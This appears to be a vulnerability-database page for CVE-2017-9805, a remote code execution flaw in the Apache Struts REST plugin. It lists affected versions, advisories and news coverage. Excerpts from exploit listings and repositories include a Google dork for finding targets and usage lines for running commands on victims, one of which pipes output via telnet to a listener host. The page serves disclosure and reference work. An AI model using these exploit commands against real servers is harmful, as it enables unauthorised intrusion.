6.8
CVSSv2

CVE-2017-9805

Published: 15/09/2017 Updated: 12/08/2019
CVSS v2 Base Score: 6.8 | Impact Score: 6.4 | Exploitability Score: 8.6
CVSS v3 Base Score: 8.1 | Impact Score: 5.9 | Exploitability Score: 2.2
VMScore: 690
Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P

Vulnerability Summary

The REST Plugin in Apache Struts 2.1.1 up to and including 2.3.x prior to 2.3.34 and 2.5.x prior to 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

apache struts 2.1.8

apache struts 2.1.8.1

apache struts 2.3.1.2

apache struts 2.3.3

apache struts 2.3.14.2

apache struts 2.3.14.3

apache struts 2.3.16.2

apache struts 2.3.16.3

apache struts 2.3.28

apache struts 2.3.28.1

apache struts 2.5.3

apache struts 2.5.4

apache struts 2.5.10.1

apache struts 2.5.11

apache struts 2.1.2

apache struts 2.2.1

apache struts 2.2.1.1

apache struts 2.3.4

apache struts 2.3.4.1

apache struts 2.3.15

apache struts 2.3.15.1

apache struts 2.3.20

apache struts 2.3.20.1

apache struts 2.3.29

apache struts 2.3.30

apache struts 2.5.5

apache struts 2.5.6

apache struts 2.5.12

apache struts 2.1.5

apache struts 2.1.6

apache struts 2.3.1

apache struts 2.3.1.1

apache struts 2.3.12

apache struts 2.3.14

apache struts 2.3.14.1

apache struts 2.3.16

apache struts 2.3.16.1

apache struts 2.3.24.1

apache struts 2.3.24.3

apache struts 2.3.33

apache struts 2.5.1

apache struts 2.5.2

apache struts 2.5.9

apache struts 2.5.10

apache struts 2.1.3

apache struts 2.1.4

apache struts 2.2.3

apache struts 2.2.3.1

apache struts 2.3.7

apache struts 2.3.8

apache struts 2.3.15.2

apache struts 2.3.15.3

apache struts 2.3.20.3

apache struts 2.3.24

apache struts 2.3.31

apache struts 2.3.32

apache struts 2.5.7

apache struts 2.5.8

Vendor Advisories

The REST Plugin in Apache Struts2 is using a XStreamHandler with an instance of XStream for deserialization without any type filtering which could lead to Remote Code Execution when deserializing XML payloads An attacker could use this flaw to execute arbitrary code or conduct further attacks ...
On September 5, 2017, the Apache Software Foundation released security bulletins that disclosed three vulnerabilities in the Apache Struts 2 package Of these vulnerabilities, the Apache Software Foundation classifies one as Critical Severity, one as Medium Severity, and one as Low Severity For more information about the vulnerabilities, refer to ...

Exploits

# Exploit Title: Struts 25 - 2512 REST Plugin XStream RCE # Google Dork: filetype:action # Date: 06/09/2017 # Exploit Author: Warflop # Vendor Homepage: strutsapacheorg/ # Software Link: mirrornbtelecomcombr/apache/struts/2510/struts-2510-allzip # Version: Struts 25 – Struts 2512 # Tested on: Struts 2510 # CVE : 2 ...
Apache Struts versions 25 through 2512 REST plugin XStream remote code execution exploit ...
Apache Struts versions 25 through 2512 using the REST plugin are vulnerable to a Java deserialization attack in the XStream library ...

Github Repositories

Apache-Struts-25-2512---REST-Plugin-XStream-Remote-Code-Execution EDB-ID:42627 CVE:2017-9805 CVE-2017-9805 is a vulnerability in Apache Struts related to using the Struts REST plugin with XStream handler to handle XML payloads If exploited it allows a remote unauthenticated attacker to run malicious code on the application server to either take over the machine or launch

CVE-2017-9805 POC

CVE-2017-9805 CVE-2017-9805 POC The issue comes from a lack of filtering on the deserialization class used by the REST plugin Struts uses Xstream with a lot of filtering for deserialization in multiple places, however this filtering was not in place for the REST plugin

Holiday Hack 2017

HHC2017 Holiday Hack 2017 Report I Submitted for SANS Holiday Hack 2017 I Didn't have a lot of time to work on the report, so some details may be missing There may be something in here that will be helpful to someone pagedownloadpy will download all pages of the Great Book at once testcve20179805py is a script I downloaded from githubcom/mazen160/struts-pw

An exploit for Apache Struts CVE-2017-9805

apache-struts-pwn - CVE-2017-9805 Exploit An exploit for Apache Struts CVE-2017-9805 Usage Check if the vulnerability exists against a single URL python apache-struts-pwnpy --url 'examplecom/struts2-rest-showcase/orders/3' Check if the vulnerability exists against a list of URLs python apache-struts-pwnpy --list 'urlstxt' Exploit a single URL p

struts2-rest-showcase 2.5.10

Test nuclei CVE-2017-9805yaml - struts2 showcase RCE Build Dockerfile docker build -t cve-2017-9805 Start and detach container docker run --name cve-2017-9805 -p 127001:8080:8080 -dit cve-2017-9805 /bin/bash Login to running container docker exec -it cve-2017-9805 /bin/bash Start tomcat $CATALINA_HOME/bin/startupsh

CVE 2017-9805

Description Apache Struts RCE tool for CVE 2017-9805 Options u: the target url; c: the command that'll be executed on a vulnerable target; f: automatically checks for RCE using a list of targets (one target per line); p: specify the port for a local listener - used with f option - (default: 8080) Usage go run maingo -u target -c command

struts-rest-showcase Struts Rest Showcase Application source code packaged in version 2320 Exploit from techblogmediaservicenet/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/ wwwexploit-dbcom/exploits/42627 Setup for Intellij Download IntelliJ community Import from VCS File > Project Structure > Project SDK

An exploit for Apache Struts CVE-2017-9805

struts-pwn - CVE-2017-9805 Exploit An exploit for Apache Struts CVE-2017-9805 Usage Check if the vulnerability exists against a single URL python struts-pwnpy --url 'examplecom/struts2-rest-showcase/orders/3' Check if the vulnerability exists against a list of URLs python struts-pwnpy --list 'urlstxt' Exploit a single URL python struts-pwnpy -

A vulnerability verification script for S2-052

S2-052 POC Usage: python CVE-2017-9805-S2-052-POCpy 127001/orders/ 脚本仅作为验证漏洞是否存在的POC

Exploit script for Apache Struts2 REST Plugin XStream RCE (‎CVE-2017-9805)

Vulnerability information Resources: * cvemitreorg/cgi-bin/cvenamecgi?name=CVE-2017-9805 What is this? A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052 Usage ╭─root@blackshell ~/ ╰─# python s2-052py --target '1921680233/orders/3' --command "echo pwned | te

Vulnerable Struts Rest API

struts-rest-showcase Vulnerable Struts Rest API Setup for Intellij Download IntelliJ community Import from VCS File > Project Structure > Project SDK > JDK 18 Install JDK 8 if it does not exist View > Maven > Toggle 'Skip Tests' Mode & Run Maven Build Dockerfile Run & exploit git clone githubcom/samqbus

Exploit script for Apache Struts2 REST Plugin XStream RCE (‎CVE-2017-9805)

Vulnerability information Resources: * cvemitreorg/cgi-bin/cvenamecgi?name=CVE-2017-9805 What is this? A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052 Usage python s2-052py --target '1921680233/orders/3' --command "echo pwned | telnet 1921680122 1234" [*]

cve -2017-9805

Struts2 Vulnerability - CVE-2017-9805 Description Apache Struts2 REST Plugin XStream RCE(CVE-2017-9805) Usage Usage: cve_2017_9805_pocrb [target_uri] [cmd] #> ruby cve_2017_9805_pocrb 127001 ping -c 4 19216801

Struts2_rce_XStream_Plugin An RCE attack is possible when using the Struts REST plugin with XStream handler to deserialize XML requests Affected Software:- Struts 212 - Struts 2333, Struts 25 - Struts 2512 CVE: CVE-2017-9805 For patch update the struts version to 2513

Better Exploit Code For CVE 2017 9805 apache struts

CVE-2017-9805py Better Exploit Code For CVE 2017 9805 apache struts Should be mostly error proof Why Recode? Found that most of the exploit code online simply used string concatenation to insert user supplied commands and insert into an XML string This isnt very reliable as XML requires certain special characters use encoding As such, it will trip an error cause those scri

Apache Struts2 S2-052(CVE-2017-9805)远程代码执行漏洞 0x00 漏洞描述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器

A script to Fuzz and and exploit Apache struts CVE-2017-9805

CVE-2017-9805_Struts_Fuzz_N_Sploit Just a terrible script I wrote in Python3 to fuzz and if desired, exploit via Metasploit: CVE-2017-9805 RCE for CTF's or whatever in accordance with the thugcrowd DWTFYW Public License I stole from those cool cats =)

Recent Articles

Oracle corrals and patches Struts 2 vulnerabilities
The Register • Richard Chirgwin • 27 Sep 2017

Big Red issues out-of-band patch for Apache and a few other urgent issues

Oracle has stepped outside its usual quarterly security fix cycle to address the latest Apache Struts 2 vulnerability. Ever since it emerged at the start of September, CVE-2017-9805 has been (in the words of a former Australian prime minister) “a shiver looking for a spine to crawl up”, because so many vendors use Apache to build Web interfaces and bake Struts 2 into their their Web application framework. Big Red's sprawling product set meant fixes had to be deployed across more than 20 prod...

Apache Foundation rebuffs allegation it allowed Equifax attack
The Register • Simon Sharwood • 11 Sep 2017

Timeline explains that either Equifax didn't patch old bugs, or was zero-dayed

The Apache Software Foundation has defended its development practices in the face of a report alleging its code was responsible for the Equifax data leak. QZ.com, an outlet run by Atlantic Media, alleged that the hack was the result of an attack on Apache Struts, which as we reported last week was found to have a flaw allowing malware to be injected into corporate networks. The outlet pointed out that the flaw may have been present in Struts for nine years. Which has Apache antsy, as it's not wi...

Apache Struts you're stuffed: Vuln allows hackers to inject evil code into biz servers
The Register • John Leyden • 05 Sep 2017

All versions of app framework since 2008 affected – so patch!

Malicious code can be pushed into servers running Apache Struts 2 apps, allowing scumbags to run malware within corporate networks. The critical security vulnerability was discovered by researchers at Semmle, who today went public with their find. Apache Struts is a popular open-source framework for developing applications in Java. All versions of Struts since 2008 are affected and all web applications using the framework’s popular ​REST plugin are​ ​vulnerable – exposing organizations...